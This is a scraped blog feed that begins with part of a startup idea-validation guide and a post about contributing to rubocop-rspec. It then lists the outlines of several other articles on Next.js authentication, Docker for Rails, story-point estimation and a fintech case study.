What’s your assumed revenue source? How would your profits/expenses grow as the number of customers grows (scalability assumption)?

Needless to say, it’s not easy to accurately predict your expenses and profits. Some startups have funding to cover their expenses for two years or so until the venture starts making profits. If that’s not your case, pay close attention to this aspect and foresee your potential scalability issues and expenses.

Competitor Analysis

High-level SEO analysis

This step needs us to continue working with product positioning and simultaneously address several key questions:

How many people are interested in this?
How difficult is it to rank on the first page of Google?
What keywords should I use to promote my product or service?

As you begin to answer these questions, it will become crystal clear that some keywords are more popular as compared to others. Some find it really hard to attain a high ranking on Google. Here, our objective is to compare word combinations that translate your business model to identify keywords with a balanced volume and keyword difficulty (KD).

Utilize tools like Semrush, Ahrefs Keyword Finder, Google Ads Keyword tool, etc. to collect the information about Volume, CPC, KD and leading websites that rank by these keywords.

Competitor overview

Competitor overview is an extremely important step to undertake before proceeding further and it requires you to gather information about your competitors’ users, business models, revenue, etc. We this guide, we want to draw your attention to three attributes:

Your Advantage
How Hard to Replicate Your Advantage
Why Should Customers Buy from You

From these characteristics, it’s clear that you’ll compare your value proposition with your competitors and know what your unique selling proposition is.

Learn more about your competitors

Usually, you’ll get more insights from personal interaction with your rivals than from conducting a basic competitor overview. It’s a good idea to reach out to them and know more about how their business is shaping up and the struggles they’re going through. Some effective ways of doing this include:

Scheduling a demo as a user. When it comes to small startups, you’re more likely to be able to engage in a personal talk with product owners that are very in tested in collecting user feedback.
Contact product owners directly as their competitor. Generally, experienced startup owners are not opposed to the idea of talking to competitors and others from within the same industry. In most cases, they’ll frankly talk about their experiences/struggles, caution you about some pitfalls and share some additional information that you may find relevant.
Conduct in-depth research on their personal pages and blogs. In some rare cases, founders openly reveal all the information about the product and its metrics such as conversions, active users, revenue, etc.

Experimental Plan Definition

Until now, you’re likely to have collected several interesting ideas of business models as well as growth assumptions. Now is the time to get them tested.

How are you going to test your business and product positioning assumptions?

Let’s face it. It’s not viable to build MVPs for every different assumption. Do the smart thing, instead. There are many tricks that you can implement to test ideas without actual development. We covered some of them in our blog post on the Lean Startup approach:

Landing page. After using builders to develop simple websites with your value proposition, collect early-bird invites or sign-ups for testing the app. This is an effective way of evaluating the interest of users.
Demo video. Several startups received funding only for the video that explained their vision because the product had already been built.
Crowdfunding platform. This can be a useful option not only to validate your ideas, but also to identify early adopters and receive payments before you actually develop the product.
Concierge MVP. Sometimes, you can test the idea manually rather than having a web platform or application.

Where can you find your early adopters?

Now you must locate people who’re facing the problem you plan to solve and get them to test your product/solution. They will not only give you valuable feedback, but also spread the word. By now, you should know how to find them because you’ve already talked to them in the Value Proposition stage.

Crowdfunding platforms
Facebook / Reddit / Telegram groups
Current clients (if your business is running offline for now), etc.

How are you going to collect feedback?

Put differently, how will you communicate with your early adopters?

Feedback forms
Facebook groups / Telegram channels
Email campaigns

Experimenting

Experimentation time! At this stage, you would have every information you need to test the assumptions and begin data collection to identify your product positioning and go-to-market business model.
After launching your demo videos/ landing pages, go ahead and collect some data. Not every idea is explained in the same way, so you may want to quickly run a couple of Google ads to see people’s reaction to various keywords for product positioning.

Putting the metrics on the table will let you see what experiment turned out to be most successful. Although we offer to check these metrics, it’s your call on whether or not to make changes in this list:

Impressions
CTR
Visits
Signups
Conversion rate
Cost per Signup
Assumed Average Revenue per User

You may also want to check our massive, extremely helpful guide on Startup Metrics.

MVP Scope Definition

If you’ve successfully reached this stage, congratulate yourself for making good progress! You now have a very good reason to believe that your idea is worth developing. Time to define the scope of work by preparing for MVP building:

Define your go-to-market business model.
Conduct interviews with customers who have signed up. Ask about their expectations and top-3 features they’re looking to implement in the product. Match their expectations with your pricing model.
Do a cross-analysis of the interviews in order to find out most desirable features. Consider writing simple User Stories.
Predict revenues for 100/1000/10000 paying customers and calculate your business model’s unit-economics
Obtain estimates on the numerous features and determine the ones you wish to include in the MVP. Make it a point to only include the most important features that help validate your key assumptions. You can always add the rest at a later stage. Ensure that your budget for MVP is less than 30k-40k.

Conclusion

Yeah, it does look like a long, tedious process. But here’s the good news for you! You can test your ideas quickly and effectively after gaining some experience.

Another piece of good news: if you happen to fail at any stage, there’s no reason to be upset about it, because it basically means that you successfully prevented your money from being wasted on developing a product that was likely to fail in the first place. Sometimes, a back-up option for a not-so-strong idea is to pivot it and repeat the cycle.

Besides, we’re always ready to help in whatever way we can with the idea validation process and product development insights. All you need to do is to drop us a line and we’ll be happy to talk!

Contribution to open source: rubocop-rspec

Ulugbek Tuychiev — Fri, 21 Aug 2020 15:53:10 +0000

Open source is an essential part of the development industry. At datarockets, we are fully aware of this and always strive to bring something useful to the development community.

For example, we develop different libraries that help us to maintain high-quality code in clients’ projects. We combine best practices with our vision and make these libraries public for everyone.

This is a story of how a problem in our internal library appeared a useful contribution to the popular Ruby lib – rubocop-rspec.

In the process of working with our internal Ruby style config, we faced a problem of repeated test cases.

In the course of studying the solution to the problem, we found that in rubocop-rspec there are no ready-made cops that could solve our problem and we decided to write our own cop and test it on our projects. In parallel, we opened the issue in the repository with a proposal to add this cop to the rubocop-rspec library.

The maintainers of rubocop-rspec quickly responded and agreed that it would be a pretty useful improvement, after which we started writing this cop. After weeks of work, the maintainers were pleased with the result of what we did and accepted the pull request.

Our cop brought instant results even before we completed our work! At the stage of verification on their codebases, the maintainers found flaws in their projects.

We are delighted that we were able to make a useful contribution to the developer community, and we will continue to do so.

Forem: datarockets

Silent Authentication in Next.js

Introduction

Basic JWT authentication

Issue with access token expiration

Silent Authentication

Conclusion

Further reading

Real-world open-source projects built with Next.js 14 and App Router

Unkey

Cal.com

Documenso

TypeHero

Dify

Dub

Noodle

Midday

Morphic

Supabase

OpenStatus

Skateshop

Feedbase

Plane

egghead.io

Conclusion

How to Dockerize a Ruby on Rails application

Install Docker

Project Structure

Proposed Configuration

backend.Dockerfile

docker-compose.yml

bin/setup

Configuration Explained

Bookworm

Update and upgrade software packages

Set Up Application User and Directory Structure

Volumes for the backend service

Bind Mount from Local Directory

Named Volumes

Volumes for the db service

Volumes for the frontend service

Volume Definitions

Debugging

Conclusion

Training a neural network for fun and profit

Approach

Results

How we estimate tasks in Story Points

What are story points?

How to estimate in story points?

1. Define factors of story points

⌚ Time

🧠 Complexity

🛠️ Amount of work

💣 Risk and uncertainty

2. Determine your story point sequence

3. Create a story point matrix

4. Explain the concept to the team

5. Prepare baseline tasks for future estimates

6. Set up a poker planning session

7. Execute your sprint and measure its velocity

Why use story points?

Examples

Task #1. Use pluralization rules for text

Task #2. Add virtualization to feed

Task #3. Implement login page

Task #4. Implement chart on dashboard

Additional resources

Handled 300k users for a $30 million deal in 48 Hours and other contributions - Fintech Case Study

Approach & Highlights

Red October deal: The Race to onboard a high-profile client

Introducing Efficiency and Safety of Payments through VCR tests

Delivered numerous fixes and new features

Results

Feedback and Tips for Junior developers

Learn the tools – git, command line, docker, and interpret errors correctly

Ask for help properly and describe the problem in words

Learn how to deal with errors and problems

Get more practice in the review of other developers’ code

Take more ownership of the feature delivery process